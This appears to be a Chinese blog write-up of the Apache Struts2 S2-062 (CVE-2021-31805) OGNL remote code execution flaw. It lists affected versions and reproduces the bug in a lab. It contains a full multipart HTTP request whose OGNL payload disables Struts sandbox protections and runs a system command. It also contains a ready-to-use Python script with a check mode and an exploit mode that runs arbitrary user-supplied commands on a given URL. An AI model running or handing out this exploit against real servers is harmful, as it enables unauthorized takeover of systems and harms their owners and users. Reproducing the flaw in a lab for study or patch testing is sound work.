前言

远程代码执行S2-062(CVE-2021-31805)由于Apache Struts2对S2-061(CVE-2020-17530)的修复不够完整,导致一些标签属性仍然可以执行 OGNL 表达式,攻击者利用该漏洞可以构造恶意数据远程执行任意代码。

受影响版本

Struts 2.0.0 - Struts 2.5.29

漏洞分析

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

复现

使用P神得S2-061环境进行复现
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
image.png

image.png

  1. POST /index.action HTTP/1.1
  2. Host: 192.168.37.132:8080
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
  11. Content-Length: 1100
  12. ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
  13. Content-Disposition: form-data; name="id"
  14. %{
  15. (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  16. (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
  17. (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  18. (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
  19. (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  20. (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
  21. (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
  22. (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
  23. (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
  24. }
  25. ------WebKitFormBoundaryl7d1B1aGsV2wcZwF

如果不想安装docker,也可以直接使用http://vulfocus.io/
image.png
image.png

编写

  1. import requests
  2. from lxml import etree
  3. import argparse
  4. def poc(url):
  5. # url = "http://123.58.236.76:22045/index.action"
  6. headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
  7. data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
  8. text=requests.post(url, headers=headers, data=data).text
  9. if "id" in text:
  10. print("发现漏洞")
  11. page=etree.HTML(text)
  12. data = page.xpath('//a[@id]/@id')
  13. print(data[0])
  14. def EXP(url,cmd):
  15. headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
  16. data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
  17. text=requests.post(url, headers=headers, data=data).text
  18. if "id" in text:
  19. print("命令回显")
  20. page=etree.HTML(text)
  21. data = page.xpath('//a[@id]/@id')
  22. print(data[0])
  23. if __name__ == '__main__':
  24. parser = argparse.ArgumentParser(description='S2-062验证')
  25. parser.add_argument('--url', help="要验证的URL")
  26. parser.add_argument('--cmd',help="你想执行的命令",default="")
  27. args = parser.parse_args()
  28. if args.cmd !="":
  29. EXP(args.url,args.cmd)
  30. else:
  31. poc(args.url)

image.png
image.png